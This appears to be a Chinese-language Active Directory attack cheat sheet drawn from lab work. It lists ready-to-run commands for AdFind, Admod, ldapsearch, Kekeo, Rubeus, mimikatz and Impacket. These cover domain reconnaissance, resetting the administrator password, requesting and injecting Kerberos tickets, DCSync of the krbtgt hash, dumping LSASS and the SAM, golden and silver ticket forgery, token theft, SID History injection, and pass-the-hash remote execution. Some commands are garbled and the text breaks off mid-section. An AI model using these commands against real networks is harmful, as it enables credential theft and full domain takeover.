Adfind的使用[color=rgba(0, 0, 0, 0.9)]Adfind是C++编写的活动目录查询工具 参数连接参数是在连接的时候指定的参数。如果在域内机器上执行Adfind,则不需要连接参数。如果是域外机器上执行Adfind,则需要指定连接参数。 • h 指定主机与端口(ip:port) • p 也可以单独指定端口 • u 指定用户 • up 指定密码
过滤参数用于指定查询的时候需要过滤的一些条件 • b 指定要查询的根节点basedn • bit 指定位查询 • f LDAP过滤条件 指定LDAP语法
显示参数是设置查询出来后如何显示的参数 帮助参数用于提供帮助信息 • help 基础帮助 • ?? 高级帮助 • ???? 快捷方式帮助 • sc? 快捷方式帮助 • meta? 元数据帮助 • regex? 固定表达式帮助
使用Adfind工具使用的结构如下 Adfind.exe [switches] [-b basedn] [-f filter] [attr list] 连接参数,如果在域内机器上执行Adfind,则不需要该选项。如果是域外机器上执行Adfind,则需要指定域控并提供一个有效的域用户和密码。 指定要查询的根节点basedn # 查询DN为dc=god,dc=org下的所有机器
AdFind.exe -b dc=god,dc=org -f "objectcategory=computer" dn
# 查询DN为CN=Computers,dc=god,dc=org下的所有机器
AdFind.exe -b CN=Computers,dc=god,dc=org -f "objectcategory=computer" dn该选项指定查询的过滤条件,使用-f参数过滤不同的查询条件 # 查询域内所有机器
AdFind.exe -f "objectcategory=computer" dn
# 查询域内所有用户
AdFind.exe -f "&((objectcategory=person)(objectClass=user))" dn该选项指定查询出来的结果显示哪个属性。当不使用该参数时,会显示查询对象的所有属性 # 查询域内所有机器,显示所有机器的所有属性
AdFind.exe -f "objectcategory=computer"
# 查询域内所有机器,显示所有机器的DN属性
AdFind.exe -f "objectcategory=computer" dn
# 查询域内所有机器,显示所有机器的DN属性,查询结果不换行。只有DN属性能在前面加“-”符号
AdFind.exe -f "objectcategory=computer" -dn
# 查询域内所有机器,显示所有机器的name属性
AdFind.exe -f "objectcategory=computer" name查询示例实战中常用到的一些查询语法 1. 查询域信任关系AdFind.exe -f objectclass=trusteddomain -dn
2. 查询域控# 查询域控名称
AdFind.exe -sc dclist
# 查询域控版本
AdFind.exe -schema -s base objectversion3. 机器相关的查询命令# 查询域中所有机器,只显示DN
AdFind.exe -f "objectcategory=computer" dn
# 查询域中所有机器,显示机器名和操作系统
AdFind.exe -f "objectcategory=computer" name operatingSystem
# 查询域中活跃机器,只显示DN名
AdFind.exe -sc computers_active dn
# 查询域中活跃机器,显示机器名和操作系统
AdFind.exe -sc computers_active name operatingSystem
# 查询指定机器的详细信息
AdFind.exe -f "&(objectcategory=computer)(name=ROOT-TVI862UBEH)"
# 查询被域用户创建的机器账户列表
AdFind.exe -b "DC=xuan,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
4. 用户相关的查询命令# 查询域管理员
AdFind.exe -b "CN=Domain Admins,CN=Users,DC=god,DC=org" member
# 查询域内所有用户
AdFind.exe -b dc=god,dc=org -f "(&(objectcategory=person)(objectClass=user))" -dn
# 查询域内指定用户的信息
AdFind.exe -sc u:xuan
# 查询域内指定用户的sid值
AdFind.exe -sc adsid:S-1-5-21-2952760202-1353902439-2381784089-1111
# 查询域内指定用户属于哪些组
AdFind.exe -s subtree -b CN=administrator,CN=users,DC=god,DC=org memberOf
# 递归查询指定用户属于哪些组
AdFind.exe -s subtree -f "(member:INCHAIN:="CN=administrator,CN=users,DC=god,DC=org")" -bit -dn
# 查询域内开启了不需要域认证选项的用户
AdFind.exe -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn
# 查询受保护的用户
AdFind.exe -f "&(objectcatory=person)(samaccountname=*)(admincount=1)" -dn
# 查询users容器下所有对象
AdFind.exe -users -dn5. 组相关的查询命令# 查询域内所有的全局组
AdFind.exe -f "(grouptype=-2147483646)" -dn
# 查询域内所有的通用组
AdFind.exe -f "(grouptype=-2147483640)" -dn
# 查询域内所有的本地域组
AdFind.exe -f "(|(grouptype=-2147483644)(grouptype=-2147483643))" -dn
# 查询指定组含有哪些对象
AdFind.exe -s subtree -b "CN=Domain Admins,CN=Users,DC=god,DC=org" member
# 递归查询指定组含有哪些域用户
AdFind.exe -s subtree -b dc=god,dc=org -f "(memberof:INCHAIN:="CN="Domain Admins",CN=Users,DC=god,DC=org")" -bit -dn6. 委派相关的查询命令# 查询域中配置非约束性委派的主机
AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
# 查询域中配置非约束性委派的服务账户
AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
# 查询域中配置了约束性委派的主机,并可以看到被委派的SPN
AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
# 查询域中配置了约束性委派的服务账户,并可以看到被委派的SPN
AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
#查询域中配置了基于资源的约束性委派的主机
AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity
# 查询域中配置了基于资源的约束性委派的服务账户
AdFind.exe -b "DC=xuan,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity
# 查询域中所有机器,显示DN和CN
AdFind.exe -b "DC=xuan,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
# 根据查询出来的sid找出对应的用户名
AdFind.exe -b "DC=xuan,DC=com" -f "(&(objectsid=S-1-5-21-1477789205-324620140-3651044789-1108))" objectclass cn dn
# 使用adfind.exe查找机器账户的mS-DS-CreatorSID属性
AdFind.exe -b "DC=xuan,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
# 使用Powershell反查SID对应的用户
powerpick $objSID = New-Object System.Security.Principal.SecurityIdentifier S-1-5-21-3309395417-4108617856-2168433834-1104;$objUser = $objSID.Translate([System.Security.Principal.NTAccount]);$objUser.Value7. 其他# 查询域内具有复制目录权限的用户
AdFind.exe -s subtree -b "DC=god,DC=org" nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute -resolvesids
# 查询域内具有复制目录所有项权限的用户
AdFind.exe -s subtree -b "DC=god,DC=org" nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes All";; -recmute -resolvesids
# 查询域中的OU
AdFind.exe -f "objectClass=organizationalUnit" dn
# 查询域的ACL
AdFind.exe -b DC=gor,DC=org -sc getacl
# 查询rightsGuid对应的扩展权限
AdFind.exe -b CN=Extended-Rights,CN=Configuration,DC=god,DC=org -f "rightsGuid=1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" dn
# 查询域内所有GPO
AdFind.exe -sc gpodmp
# 查询域内高权限的SPN
AdFind.exe -b "DC=gor,DC=org" -f "&(servicePrincipalName=*)(admincount=1)" servicePrincipalName
# 查询域内的所有邮箱并以csv格式显示
AdFind.exe -f "mail=*" mail -s Subtree -recmute -csv moblie
# 查询域内的所有手机号并以csv的格式显示
AdFind.exe -f "telephonenumber=*" telephonenumber -s Subtree -recmute -csv moblieAdmodAdmod是一个使用C++编写的活动目录修改器,允许有权限的用户轻松的修改各种活动目录信息 参数连接参数是在连接的时候指定的参数 • h 指定主机和端口 • p 也可以单独使用-p参数指定端口 • u 指定用户 • up 指定密码
修改参数是修改是用到的一些参数,比如添加、删除、重命名等 使用Admod使用结构如下: Admod [switches] [-b basedn] [attr-action] 该选项是连接参数,在执行一些高权限操作的时候。需要指定高权限的用户名和密码 Admod -h 192.168.52.138 -u god.org\Administrator -up dc123.com -b dc=god,dc=org "description::test"该选项使用户指定要进行的操作,如add添加 rm删除等。使用rm删除用户testuser的命令如下 Admod.exe -b cn=testuser,cn=users,dc=god,dc=org -rm修改示例1. 创建用户创建testuser用户,创建完成后该用户仍处于禁用状态。 AdMod.exe -b cn=testuser,cn=users,dc=god,dc=org -add objectclass::user samaccountname2. 创建OU创建技术部OU的命令 如果包含中文,先将当前页面编码改为GBK AdMod.exe -b OU=技术部,DC=god,DC=org -add objectclass:rganizationalUnit3. 将用户移动到指定OUAdMod.exe -b cn=testuser,cn=users,dc=god,dc=org -move OU=技术部,dc=god,dc=org4. 删除用户AdMod.exe -b cn=testuser,cn=users,dc=god,dc=org -rm5. 重置用户密码重置域管理员administrator的密码为P@ss1234的命令如下 该功能不需要知道用户的原始密码 AdMod.exe -users -rb cn=administrator unicodepwd:@ss1234 -optenc6. 修改用户密码修改域管理员administrator的密码为P@ss1234的命令如下 该功能需要知道用户的原始密码 这里用户的原始密码为dc123.com AdMod.exe -users -rb cn=administrator unicodepwd::dc123.com unicodepwd:@ss1234 -optenc7. 修改域的MAQ为0修改域的MAQ值为0 即不允许普通域用户创建机器账户 AdMod.exe -b "dc=god,dc=org" "ms-DS-MachineAccountQuota::0"LDPLDP是微软自带的一款活动目录信息查询工具 普通域成员主机默认没有LDP工具 可以自行上传 连接域控
绑定凭据
查看
LdapsearchLdapsearch是类UNIX下一款用于活动目录信息查询的工具,kali自带 参数Ldapsearch -h • H ldapuri 格式为ldap://机器名或者IP:端口号 不能与-h -p同时使用 • h LDAP服务器IP 与-p 可结合使用 • p LDAP服务器端口号,与-h可结合使用 • x 使用简单认证方式 • D 认证的用户名 • w 密码 与-W二选一 • W 不输入密码,会交互式的提示用户输入密码,与-w二选一 • b 指定 basedn进行查询 • f 从文件中读取操作 • c 出错之后忽略当前错误继续执行,默认情况下遇到错误即终止 • n 模拟操作但并不实际执行,用于验证,常与-v一同使用进行问题定位 • v 显示详细信息 • d 显示debug信息,可设定几倍 • o 输出为文件 • s 指定搜索范围,可选值有base、one、sub、children
使用1. 连接# 使用账户xuan和密码-H参数连接域控的389端口
ldapsearch -H ldap://192.168.52.138:389 -D "xuan@god.org" -w 123.com
# 使用账户xuan和密码-h参数连接域控 -p指定端口
ldapsearch -h 192.168.52.138 -p 389 -D "xuan@god.org" -w 123.com2. 过滤# 查找指定basedn的信息
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "CN=administrator,CN=Users,DC=god,DC=org"
# 查找指定basedn的信息,并且过滤出name=administrator的条目
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "CN=administrator,CN=Users,DC=god,DC=org" "name=administrator"3. 显示默认情况下,查找的结果会显示对象的所有属性,如果只想显示指定属性,在末尾加上属性名即可,也可以使用-o参数将结果导出在文件中 #查找用户administrator用户的所有信息
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "CN=administrator,CN=Users,DC=god,DC=org"
# 查找用户administrator的DN属性
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "CN=administrator,CN=Users,DC=god,DC=org" dn
# 查找用户administrator的DN属性,使用grep过滤结果更直观
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "CN=administrator,CN=Users,DC=god,DC=org" | grep dn
# 查找用户administrator的所有信息,并将结果导出在指定LDIF格式文件中
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "CN=administrator,CN=Users,DC=god,DC=org" -o ldif-wrap=no > administrator.ldif
# 使用adoffline.py脚本将LDIF格式文件转换为sqlite格式文件
python2 adoffline.py ~/administrator.ldif查询示例# 查询域中所有域控
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "OU=Domain Controllers,DC=god,DC=org" "objectcategory=computer" | grep dn
# 查询域中所有的机器(包括域控)
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "objectcategory=computer" | grep dn
# 查询指定机器的详细信息
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(objectcategory=computer)(name=stu1))"# 查询域管理员组
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "CN=Domain Admins,
CN=Users,DC=god,DC=org" | grep member
# 查询域内所有用户
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(
&(objectcategory=person)(objectclass=user))" | grep dn
# 查询指定域用户xuan
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(objectcategory=person)(objectclass=user)(name=xuan))"
# 查询指定域用户的sid
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(objectcategory=person)(objectclass=user)(name=xuan))" | grep objectSid
# 查询指定sid对应的用户
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(objectcategory=person)(objectclass=user)(objectsid=AQUAAAAAAAUVAAAAiov/r2fpslAZJPeNVwQAAA==))"
# 查询指定域用户属于哪些组
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(objectcategory=person)(objectclass=user)(name=administrator))" memberOf
# 查询域内开启不需要预认证的用户
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" | grep dn
# 查询域内受保护的ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(objectcategory=person)(samaccountname=*)(admincount=1))" | grep dn用户
# 查询域内所有全局组
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "groupType=-2147483646" | grep dn
# 查询域内所有通用组
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "groupType=-2147483640" | grep dn
# 查询域内所有本地域组
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(|(grouptype=-2147483644)(grouptype=-2147483643))" | grep dn
# 查询指定组含有哪些对象
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "CN=Domain Admins,CN=Users,DC=god,DC=org" member# 查询域中配置了非约束性委派的主机
ldapsearch -x -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep dn
# 查询域中配置非约束性委派的服务账户
ldapsearch -x -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep dn
# 查询域中配置了约束性委派的主机,并可以看到被委派的SPN
ldapsearch -x -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" | grep -e dn -e msDS-AllowedToDelegateTo
# 查询域中配置了约束性委派的服务账户,并可以看到被委派的SPN
ldapsearch -x -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" | grep -e dn -e msDS-AllowedToDelegateTo
# 查询域中配置基于资源的约束性委派的主机
ldapsearch -x -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn
# 查询域中配置基于资源的约束性委派的服务账户
ldapsearch -x -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dnKekeo使用C语言编写的针对Kerberos协议进行攻击的工具,可以发起Kerberos请求,并将请求的票据导入内存中,从而模拟Kerberos各个阶段攻击手段 了解即可 kekeo提供的模块命令解释如下: 这些standard命令几乎不常用 但是需要提一下base64 # 查看base64的支持
base64
# input 支持base64
base64 /inputn
# output 支持base64
base64 /outputn
# input 不支持base64
base64 /inputff
# output 不支持base64
base64 /outputff• TGT模块 • TGS模块 • exploit 攻击模块 • misc 杂项模块 • Kerberos包模块 • smb小型模块 • NTLM模块 • TSSSP模块
最常用的是TGT和TGS模块 申请TGT使用TGT模块申请TGT,可以使用明文或密码哈希进行认证。可以将票据导出成文件,或者直接导入到当前内存中 将TGT导入内存后,想请求什么服务,系统就会自动利用该TGT请求指定的服务ST kekeo支持使用明文密码请求TGT,有kekeo自动导入票据和通过mimikatz手动导入票据两种方式 使用administrator的明文密码请求TGT的命令如下,并自动导入到内存中;票据导入到内存中,就可以访问高权限服务了 # 明文密码申请TGT并导入到内存中
tgt::ask /user:administrator /domain:god.org /password@ss1234 /ptt使用administrator的明文密码请求TGT的命令如下,并生成以kirbi结尾的票据,此时不导入内存中,接着使用mimikatz将该票据手动导入内存中。 # 明文密码申请TGT,此时会生成一个以kirbi结尾的票据
tgt::ask /user:administrator /domain:god.org /password@ss1234然后使用mimikatz将票据导入内存中,就可以使用该票据了 mimikatz.exe "kerberos::ptt TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "使用administrator的密码哈希请求TGT的命令如下 # 密码哈希申请TGT并导入内存中
tgt::ask /user:administrator /domain:god.org /ntlm:74520a4ec2626e3638066146a0d5ceae /ptt
# 密码哈希申请TGT,此时会产生一个kirbi结尾的票据 使用mimikatz导入即可使用
tgt::ask /user:administrator /domain:god.org /ntlm:74520a4ec2626e3638066146a0d5ceae申请STkekeo使用tgs模块申请ST,需要提供一张TGT。因此,要先使用kekeo申请一张TGT,在使用tgs模块用TGT请求指定服务的ST。可以将请求的ST导入内存中或者导出成票据文件 生成一张TGT # 明文密码申请TGT,此时会生成一个以kirbi结尾的票据
tgt::ask /user:administrator /domain:god.org /password@ss1234请求St,平时请求的CIFS的票据指定用于dir操作而不能使用mimikatz的DCSync功能,要想使用的话,需要请求LDAP服务 用上一步得到的TGT请求CIFS的ST ,导入后即可访问CIFS服务 tgs::ask /tgt:TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /sevice:cifs/owa.god.org利用上一步得到的TGT请求LDAP服务的ST # 请求访问owa.god.org 的LDAP服务的ST并导入内存中
tgs::ask /tgt:TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /sevice:ldap/owa.god.org /ptt
# 通过mimikatz的DCSync功能导出域用户的Hash
mimikatz.exe "lsadump::dcsync /domain:god.org /user:krbtgt/csv" "exit"没导入ST之前无法导出krbtgt用户哈希 导入ST后就可以了 RubeusRubeus可以发起Kerberos请求,并将请求票据导入内存中,Rebeus提供了大量的用于Kerberos攻击的功能,比如TGT请求\ST请求\AS-REP Roasting攻击\Kerberoasting攻击\委派攻击\黄金票据\白银票据等。 申请TGTRubeus使用asktgt模块请求TGT,可以使用明文、密码哈希(DES加密和RC4加密)和AES Key(AES128和AES256)进行认证,可以将TGT以base64打印出来。也可以将TGT保存为文件,还可以将TGT导入内存中 asktgt模块有以下参数 中括号内的为可选参数 • user:USER 请求的用户名 • </password ASSWORD [/enctype ES|RC4|AEX128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> • [/domain OMAIN] 域名 • [/dc OMAIN_CONTROLLER] 域控 • [outfile:FILENAME] 输出的文件 • [/ptt] 将票据导入内存中 • [/luid] 将生成的票据用于指定的登录会话(需要管理员权限) • [/mowrap] 打印出的base64格式票据的显示格式更友好 • [/nopac] 票据中不请求PAC
如果没有指定/domain参数,则默认使用主机当前所在的域,如果没有指定/dc参数 则使用DsGetDcName函数来获取主机当前所在域的域控 Rubeus支持使用明文密码请求TGT,使用administrator的明文密码请求TGT,命令如下: # 明文密码申请TGT,以base64格式打印出来并导入内存中
Rubeus.exe asktgt /user:administrator /password@ss1234 /nowrap /ptt
# 明文密码申请TGT,将票据保存为ticket.kirbi文件,并导入内存中
Rubeus.exe asktgt /user:administrator /password@ss1234 /nowrap /ptt /outfile:ticket.kirbiTGT导入内存后,就可以访问高权限服务了 Rubeus也支持使用密码hash请求TGT。使用administrator的密码哈希请求TGT,命令如下 # 密码哈希申请TGT,以base64格式打印出来并导入内存中
Rubeus.exe asktgt /user:administrator /rc4:74520a4ec2626e3638066146a0d5ceae /enctype:RC4 /nowrap /ptt
# 密码哈希申请TGT,将票据保存为ticket.kirbi文件,并导入内存中
Rubeus.exe asktgt /user:administrator /rc4:74520a4ec2626e3638066146a0d5ceae /enctype:RC4 /nowrap /ptt /outfile:ticket.kirbiTGT导入内存后,即可以访问高权限服务 申请STRubeus使用asktgs模块申请ST,需要提供一张TGT,提供的TGT可以是base64格式的也可以是kirbi结尾的票据文件。因此要先使用Rubeus请求一张TGT,然后再使用asktgs模块使用该TGT请求指定的服务的ST。可以将请求的ST以base64格式打印出来,也可以将ST保存为文件,也可以将ST直接导入内存中。 asktgs模块有以下参数: • </ticket:Base64 | ticket:FILE.KIRBI> 票据文件 • </service:SPN1,SPN2> 请求的服务 • [/enctype ES|RC4|AEX128|AES256] 加密类型 • [/dc OMAIN_CONTROLLER] 域控 • [/outfile:FILENAME] 输出的文件 • [/ptt] 将票据导入到内存中 • [/nowrap] 打印出的base64格式票据的显示格式更友好 • </tgs:BASE64 | /tgs:FILE.KIRBI> 指定生成base64格式的票据还是票据文件
首先使用Rubeus执行如下命令请求一张TGT # 明文密码申请TGT,以base64格式打印出来并导入内存中
Rubeus.exe asktgt /user:administrator /password@ss1234 /nowrap /ptt使用上一步请求的TGT即可请求指定服务的ST了 # 请求范围跟owa.god.org 的CIFS的ST,并导入内存
Rubeus.exe asktgs /service:"cifs/owa.god.org" /nowrap /ptt/ticket:TGT票据的base64格式Rubeus.exe asktgs /service:"ldap/owa.god.org" /nowrap /ptt/ticket:TGT票据的base64格式
mimikatz.exe "lsadump::dcsync /domain:god.org /user:krbtgt/csv" "exit"没导入ST之前无法导出krbtgt用户哈希
导入ST后就可以了
Rubeus导入票据Rubeus支持通过票据文件或base64格式的票据进行导入。除了Rubeus请求生成的base64票据还可以是其他工具生成的票据,只要是.kirbi为后缀的就可以 1. 导入base64格式的票据如果请求票据的时候没有使用/ptt参数导入内存中,可以直接使用Rubeus导入请求的base64格式的票据,即可访问目标 请求TGT不导入内存中 Rubeus.exe asktgt /user:administrator /password@ss1234 /nowrap使用以下命令将base64格式的票据导入内存中 Rubeus.exe ptt /ticket:上一步请求的TGT2. 导入票据文件使用Rubeus生成的票据文件,并使用Rubeus导入票据文件 # 明文密码申请TGT,将票据保存为ticket.kirbi文件,不导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap /outfile:ticket.kirbi
# 导入票据
Rubeus.exe ptt /ticket:ticket.kirbi# 明文密码申请TGT,此时会生成一个以kirbi结尾的票据
tgt::ask /user:administrator /domain:god.org /password:P@ss1234
# 导入票据
Rubeus.exe ptt /ticket:TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbiAS-REP RoastingKerberoasting委派攻击mimikatz1. standard模块与Kekeo工具的Standard模块功能一样 2. 其他模块• crypto 加密模块 • sekurlsa 用来枚举凭据的命令 • kerberos包模块 • ngc 下一代密码学模块 • privilege 提权模块 • process 进程模块 • service 服务模块 • lsadump模块 • ts 终端服务器模块 • event 事件模块 • misc 杂项模块 • token 令牌操作模块 • vault Windows凭据模块 • minesweeper模块 • dpapi模块 • busylight模块 • sysenv 系统环境值模块 • sid 安全标识符模块 • iis IIS XML配置模块 • rpc RPC控制 • sr98设备和T5577目标模块 • acr ACR模块
其中常用的是privilege、sekurlsa、kerberos、lsadump、token、sid模块 该模块是用于提权的模块,很多模块需要高权限运行,所以要先进行提权,只能用具有管理员权限的命令行窗口才可以执行成功,普通用户使用提权命令会失败 privilege::debug使用该模块需要高权限,因此需要执行提权命令,如下是常用命令 # 只抓取内存中保存的用户明文密码
mimikatz.exe "privilege::debug" "sekurlsa::wdigest" exit
# 只抓取内存中保存的用户Hash
mimikatz.exe "privilege::debug" "sekurlsa::msv" exit
# 只抓取内存中保存的用户密码的Key值
mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit
# 抓取内存中保存的用户所有凭据
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# 加载dmp文件,并导出其中的明文密码
procdump.exe -accepteula -ma lsass.exe lsass.dmp
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
# 导出lsass.exe 进程中所有的票据
sekurlsa::tickets /export从server2012开始,默认情况下,内存中不保存用户的 明文密码 该模块是与Kerberos相关的模块 # 查看内存中的kerberos TGT
mimikatz.exe "kerberos::tgt" exit
# 查看内存中所有的Kerberos票据
mimikatz.exe "kerberos::list" exit
# 清除票据
mimikatz.exe "kerberos::purge" exit
# 将票据注入到内存中
mimikatz.exe "kerberos::ptt administrator.kirbi" exit
# 黄金票据传递攻击
kerberos::golden /user:要伪造的域用户 /domain:域名 /sid:域的sid /krbtgt:krbtgt的哈希或AES Key /ptt
# 白银票据传递攻击
kerberos::golden /user:要伪造的域用户 /domain:域名 /sid:域的sid /target:服务机器 /service:指定服务如cifs、ldap /rc4:服务账户的Hash /ptt
改模块是对Local Security Authiruty(LSA)进行密码抓取的模块 # 通过DSync导出指定用户的Hash,格式化输出
lsadump::dcsync /domain:god.org /user:krbtgt /csv
# 通过DSync导出指定用户的密码Hash的详细信息
lsadump::dcsync /domain:god.org /user:krbtgt
# 通过DSync导出所有用户的Hash
lsadump::dcsync /domain:god.org /all /csv
# 读取所有域用户的Hash,需要在域控上以管理员权限打开窗口
privilege::debug
lsadump::lsa /patch
# 从sam.hive和system.hive文件中获得NTLM Hash
reg save hklm\sam sam.hive
reg save hklm\system system.hive
lsadump::sam /sam:sam.hive /system:system.hive
# 从本地SAM文件中读取密码Hash
privilege::debug
token::elevate
lsadump::sam# 列出当前进程的token信息
token::whoami
token::whoami /full
# 列出当前系统中存在的token,高权限流出的token最全面
token::list
# 窃取指定token id的token
token::elevate /id
# 窃取System权限的token(默认)
token::elevate /system
# 窃取域管理员的token
token::elevate /domainadmin
# 窃取企业管理员的token
token::elevate /enterpriseadmin
# 窃取本地管理员的token
token::elevate /admin
# 窃取Local Service权限的token
token::elevate /localservice
# 窃取Network service权限的token
token::elevate /networkservice
# 恢复为之前的token
token::revert# 查询指定对象的SID
sid::lookup /name:xuan
# 查询指定SID对应的对象
sid::lookup /sid:S-1-5-21-1982601180-2087634876-2293013296-1001
# 通过samAccountName属性查询对象的一些信息
sid::query /sam:lzx
# 通过SID属性查询对象的一些信息
sid::query /sid:S-1-5-21-2952760202-1353902439-2381784089-1109
# 通过samAccountName属性修改对象的SID
sid::patch
sid::modify /sam:liu /new:S-1-5-21-2952760202-1353902439-2381784089-109
# 通过sid属性修改对象的SID
sid::patch
sid::modify /sid:S-1-5-21-1982601180-2087634876-2293013296-1001 /new:S-1-5-21-2952760202-1353902439-2381784089-109
# 通过samAccountName属性给对象添加一个SID History属性
sid::patch
sid::add /sam:lzx /new:S-1-5-21-2952760202-1353902439-2381784089-109
# 通过sid属性给对象添加一个SID History属性
sid::patch
sid::add /sid:S-1-5-21-1982601180-2087634876-2293013296-1001 /new:S-1-5-21-2952760202-1353902439-2381784089-109
# 将administrator的SID添加到test的SID History属性中
sid::patch
sid::add /sam:lzx /new:administrator
# 清除指定samAccountName对象的SID History属性
sid::clear /sam:xuan
# 清除指定sid对象的SID History属性
sid::clear /sid:S-1-5-21-1982601180-2087634876-2293013296-1001Impacket远程连接psexec.py# 使用明文密码
proxychains -q python3 psexec.py administrator:P@ss1234@192.168.52.138
# 使用密码hash
proxychains -q python3 psexec.py administrator@192.168.52.138 -hashes aad3b435b51404eeaad3b435b5140# 使用明文密码
proxychains -q python3 psexec.py god.org/administrator:P@ss1234@192.168.52.138
# 使用密码hash
proxychains -q python3 psexec.py god.org/administrator@192.168.52.138 -hashes aad3b435b51404eeaad3b435b51404ee:74520a4ec2626e3638066146a0d5ceaesmbexec.py默认情况下该脚本使用的时UTF-8编码,国内机器大多数时GBK编码 可以使用 -codec参数指定GBK编码 # 使用明文密码
proxychains -q python3 smbexec.py administrator:P@ss1234@192.168.52.138 -codec gbk
# 使用密码hash
proxychains -q python3 smbexec.py administrator@192.168.52.138 -hashes aad3b435b51404eeaad3b435b51404ee:74520a4ec2626e3638066146a0d5ceae
# 使用明文密码
proxychains -q python3 smbexec.py god.org/administrator:P@ss1234@192.168.52.138
# 使用密码hash
proxychains -q python3 smbexec.py god.org/administrator@192.168.52.138 -hashes aad3b435b51404eeaad3b435b51404ee:74520a4ec2626e3638066146a0d5ceaewmiexec.py该脚本主要是WMI来实现命令执行,在躲避AV查杀方面做的最好 目标主机开启445和135端口,并且依赖与admin$,135端口来执行命令 445端口来读取回显 1)工作组环境 # 使用明文密码
proxychains -q python3 wmiexec.py administrator:P@ss1234@192.168.52.138 -codec gbk
# 使用密码hash
proxychains -q python3 wmiexec.py administrator@192.168.52.138 -hashes aad3b435b51404e2)域环境 # 使用明文密码
proxychains -q python3 wmiexec.py god.org/liu:123.com@192.168.52.138 -codec gbk
# 使用密码hash
proxychains -q python3 wmiexec.py god.org/administrator@192.168.52.138 -hashes aad3b435b5atexec.py该脚本通过任务计划服务来在目标主机上实现命令执行,并返回命令执行后的输出结果 1)工作组环境 # 使用明文密码
proxychains -q python3 atexec.py god.org/liu:P@ss1234@192.168.52.143 whoami
# 使用密码Hash
